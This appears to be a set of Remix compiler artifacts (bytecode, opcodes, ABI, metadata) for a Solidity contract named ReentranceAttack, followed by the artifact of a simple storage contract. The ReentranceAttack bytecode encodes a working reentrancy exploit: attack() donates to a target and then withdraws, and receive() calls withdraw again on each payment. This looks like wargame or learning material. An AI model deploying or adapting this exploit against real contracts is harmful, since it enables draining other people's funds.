}\n\n}\n",
"id": 2,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "6080604052600436106100225760003560e01c80639e5faafc146100b9576100b4565b366100b45760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d346040518263ffffffff1660e01b81526004016100809190610258565b600060405180830381600087803b15801561009a57600080fd5b505af11580156100ae573d6000803e3d6000fd5b50505050005b600080fd5b6100c16100c3565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163134101561010757600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1662362a9534306040518363ffffffff1660e01b8152600401610160919061023d565b6000604051808303818588803b15801561017957600080fd5b505af115801561018d573d6000803e3d6000fd5b505050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d346040518263ffffffff1660e01b81526004016101eb9190610258565b600060405180830381600087803b15801561020557600080fd5b505af1158015610219573d6000803e3d6000fd5b50505050565b61022881610273565b82525050565b610237816102a5565b82525050565b6000602082019050610252600083018461021f565b92915050565b600060208201905061026d600083018461022e565b92915050565b600061027e82610285565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600081905091905056fea264697066735822122058959a2aa06398c06589736d65df2b2b099fbaaca8d0c6aeb4c97c8e62aad42364736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x22 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0xB9 JUMPI PUSH2 0xB4 JUMP JUMPDEST CALLDATASIZE PUSH2 0xB4 JUMPI PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x2E1A7D4D CALLVALUE PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x80 SWAP2 SWAP1 PUSH2 0x258 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x9A JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0xAE JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP STOP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0xC1 PUSH2 0xC3 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND BALANCE CALLVALUE LT ISZERO PUSH2 0x107 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH3 0x362A95 CALLVALUE ADDRESS PUSH1 0x40 MLOAD DUP4 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x160 SWAP2 SWAP1 PUSH2 0x23D JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x179 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x18D JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x2E1A7D4D CALLVALUE PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x1EB SWAP2 SWAP1 PUSH2 0x258 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x205 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x219 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH2 0x228 DUP2 PUSH2 0x273 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH2 0x237 DUP2 PUSH2 0x2A5 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x252 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x21F JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x26D PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x22E JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x27E DUP3 PUSH2 0x285 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 PC SWAP6 SWAP11 0x2A LOG0 PUSH4 0x98C06589 PUSH20 0x6D65DF2B2B099FBAACA8D0C6AEB4C97C8E62AAD4 0x23 PUSH5 0x736F6C6343 STOP ADDMOD SMOD STOP CALLER ",
"sourceMap": "780:398:0:-:0;;;;;;;;;;;;;;;;;;;;;;;1141:6;;;;;;;;;;:15;;;1157:9;1141:26;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;780:398;;;;;905:190;;;:::i;:::-;;;978:6;;;;;;;;;;970:23;;;957:9;:36;;949:45;;;;;;1005:6;;;;;;;;;;:13;;;1025:9;1044:4;1005:45;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1061:6;;;;;;;;;;:15;;;1077:9;1061:26;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;905:190::o;7:118:2:-;94:24;112:5;94:24;:::i;:::-;89:3;82:37;7:118;;:::o;131:::-;218:24;236:5;218:24;:::i;:::-;213:3;206:37;131:118;;:::o;255:222::-;348:4;386:2;375:9;371:18;363:26;;399:71;467:1;456:9;452:17;443:6;399:71;:::i;:::-;255:222;;;;:::o;483:::-;576:4;614:2;603:9;599:18;591:26;;627:71;695:1;684:9;680:17;671:6;627:71;:::i;:::-;483:222;;;;:::o;711:96::-;748:7;777:24;795:5;777:24;:::i;:::-;766:35;;711:96;;;:::o;813:126::-;850:7;890:42;883:5;879:54;868:65;;813:126;;;:::o;945:77::-;982:7;1011:5;1000:16;;945:77;;;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "148200",
"executionCost": "24463",
"totalCost": "172663"
},
"external": {
"attack()": "infinite"
}
},
"methodIdentifiers": {
"attack()": "9e5faafc"
}
},
"abi": [
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"stateMutability": "payable",
"type": "receive"
}
]
}
{
"compiler": {
"version": "0.8.7+commit.e28d00a7"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"stateMutability": "payable",
"type": "receive"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/ReentranceAttack.sol": "ReentranceAttack"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/ReentranceAttack.sol": {
"keccak256": "0xebce037ef648a36e2ccc1ece571eddd4530a46b7bf42e992d18b54277d6171db",
"license": "MIT",
"urls": [
"bzz-raw://b1e6084e1d6552cb09cd65f215fd0fc5fe4acdb03925c026362f211b1029333d",
"dweb:/ipfs/QmeUMEseqsyVopVr9YkLcCSTZE63xG6dE3yVCovqmrAcBj"
]
},
"https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol": {
"keccak256": "0xa2f576be637946f767aa56601c26d717f48a0aff44f82e46f13807eea1009a21",
"license": "MIT",
"urls": [
"bzz-raw://973868f808e88e21a1a0a01d4839314515ee337ad096286c88e41b74dcc11fc2",
"dweb:/ipfs/QmfYuZxRfx2J2xdk4EXN7jKg4bUYEMTaYk9BAw9Bqn4o2Y"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50610150806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80632e64cec11461003b5780636057361d14610059575b600080fd5b610043610075565b60405161005091906100d9565b60405180910390f35b610073600480360381019061006e919061009d565b61007e565b005b60008054905090565b8060008190555050565b60008135905061009781610103565b92915050565b6000602082840312156100b3576100b26100fe565b5b60006100c184828501610088565b91505092915050565b6100d3816100f4565b82525050565b60006020820190506100ee60008301846100ca565b92915050565b6000819050919050565b600080fd5b61010c816100f4565b811461011757600080fd5b5056fea2646970667358221220404e37f487a89a932dca5e77faaf6ca2de3b991f93d230604b1b8daaef64766264736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x150 DUP1 PUSH2 0x20 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x36 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x2E64CEC1 EQ PUSH2 0x3B JUMPI DUP1 PUSH4 0x6057361D EQ PUSH2 0x59 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x43 PUSH2 0x75 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x50 SWAP2 SWAP1 PUSH2 0xD9 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x73 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x6E SWAP2 SWAP1 PUSH2 0x9D JUMP JUMPDEST PUSH2 0x7E JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 POP SWAP1 JUMP JUMPDEST DUP1 PUSH1 0x0 DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x97 DUP2 PUSH2 0x103 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0xB3 JUMPI PUSH2 0xB2 PUSH2 0xFE JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0xC1 DUP5 DUP3 DUP6 ADD PUSH2 0x88 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0xD3 DUP2 PUSH2 0xF4 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0xEE PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0xCA JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x10C DUP2 PUSH2 0xF4 JUMP JUMPDEST DUP2 EQ PUSH2 0x117 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 BLOCKHASH 0x4E CALLDATACOPY DELEGATECALL DUP8 0xA8 SWAP11 SWAP4 0x2D 0xCA 0x5E PUSH24 0xFAAF6CA2DE3B991F93D230604B1B8DAAEF64766264736F6C PUSH4 0x43000807 STOP CALLER ",
"sourceMap": "141:356:0:-:0;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@retrieve_24": {
"entryPoint": 117,
"id": 24,
"parameterSlots": 0,
"returnSlots": 1
},
"@store_15": {
"entryPoint": 126,
"id": 15,
"parameterSlots": 1,
"returnSlots": 0
},
"abi_decode_t_uint256": {
"entryPoint": 136,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_uint256": {
"entryPoint": 157,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_t_uint256_to_t_uint256_fromStack": {
"entryPoint": 202,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed": {
"entryPoint": 217,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"cleanup_t_uint256": {
"entryPoint": 244,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 254,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"validator_revert_t_uint256": {
"entryPoint": 259,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:1374:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "59:87:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "69:29:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "91:6:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "78:12:1"
},
"nodeType": "YulFunctionCall",
"src": "78:20:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "69:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "134:5:1"
}
],
"functionName": {
"name": "validator_revert_t_uint256",
"nodeType": "YulIdentifier",
"src": "107:26:1"
},
"nodeType": "YulFunctionCall",
"src": "107:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "107:33:1"
}
]
},
"name": "abi_decode_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "37:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "45:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "53:5:1",
"type": ""
}
],
"src": "7:139:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "218:263:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "264:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "266:77:1"
},
"nodeType": "YulFunctionCall",
"src": "266:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "266:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "239:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "248:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "235:3:1"
},
"nodeType": "YulFunctionCall",
"src": "235:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "260:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "231:3:1"
},
"nodeType": "YulFunctionCall",
"src": "231:32:1"
},
"nodeType": "YulIf",
"src": "228:119:1"
},
{
"nodeType": "YulBlock",
"src": "357:117:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "372:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "386:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "376:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "401:63:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "436:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "447:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "432:3:1"
},
"nodeType": "YulFunctionCall",
"src": "432:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "456:7:1"
}
],
"functionName": {
"name": "abi_decode_t_uint256",
"nodeType": "YulIdentifier",
"src": "411:20:1"
},
"nodeType": "YulFunctionCall",
"src": "411:53:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "401:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "188:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "199:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "211:6:1",
"type": ""
}
],
"src": "152:329:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "552:53:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "569:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "592:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "574:17:1"
},
"nodeType": "YulFunctionCall",
"src": "574:24:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "562:6:1"
},
"nodeType": "YulFunctionCall",
"src": "562:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "562:37:1"
}
]
},
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "540:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "547:3:1",
"type": ""
}
],
"src": "487:118:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "709:124:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "719:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "731:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "742:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "727:3:1"
},
"nodeType": "YulFunctionCall",
"src": "727:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "719:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "799:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "812:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "823:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "808:3:1"
},
"nodeType": "YulFunctionCall",
"src": "808:17:1"
}
],
"functionName": {
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulIdentifier",
"src": "755:43:1"
},
"nodeType": "YulFunctionCall",
"src": "755:71:1"
},
"nodeType": "YulExpressionStatement",
"src": "755:71:1"
}
]
},
"name": "abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "681:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "693:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "704:4:1",
"type": ""
}
],
"src": "611:222:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "879:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "889:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "905:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "899:5:1"
},
"nodeType": "YulFunctionCall",
"src": "899:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "889:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "872:6:1",
"type": ""
}
],
"src": "839:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "965:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "975:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "986:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "975:7:1"
}
]
}
]
},
"name": "cleanup_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "947:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "957:7:1",
"type": ""
}
],
"src": "920:77:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1092:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1109:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1112:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1102:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1102:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1102:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "1003:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1215:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1232:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1235:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1225:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1225:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1225:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "1126:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1292:79:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1349:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1358:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1361:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1351:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1351:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1351:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1315:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1340:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "1322:17:1"
},
"nodeType": "YulFunctionCall",
"src": "1322:24:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "1312:2:1"
},
"nodeType": "YulFunctionCall",
"src": "1312:35:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "1305:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1305:43:1"
},
"nodeType": "YulIf",
"src": "1302:63:1"
}
]
},
"name": "validator_revert_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1285:5:1",
"type": ""
}
],
"src": "1249:122:1"
}
]
},
"contents": "{\n\n function abi_decode_t_uint256(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_uint256(value)\n }\n\n function abi_decode_tuple_t_uint256(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_uint256(add(headStart, offset), dataEnd)\n }\n\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function validator_revert_t_uint256(value) {\n if iszero(eq(value, cleanup_t_uint256(value))) { revert(0, 0) }\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50600436106100365760003560e01c80632e64cec11461003b5780636057361d14610059575b600080fd5b610043610075565b60405161005091906100d9565b60405180910390f35b610073600480360381019061006e919061009d565b61007e565b005b60008054905090565b8060008190555050565b60008135905061009781610103565b92915050565b6000602082840312156100b3576100b26100fe565b5b60006100c184828501610088565b91505092915050565b6100d3816100f4565b82525050565b60006020820190506100ee60008301846100ca565b92915050565b6000819050919050565b600080fd5b61010c816100f4565b811461011757600080fd5b5056fea2646970667358221220404e37f487a89a932dca5e77faaf6ca2de3b991f93d230604b1b8daaef64766264736f6c63430008070033",
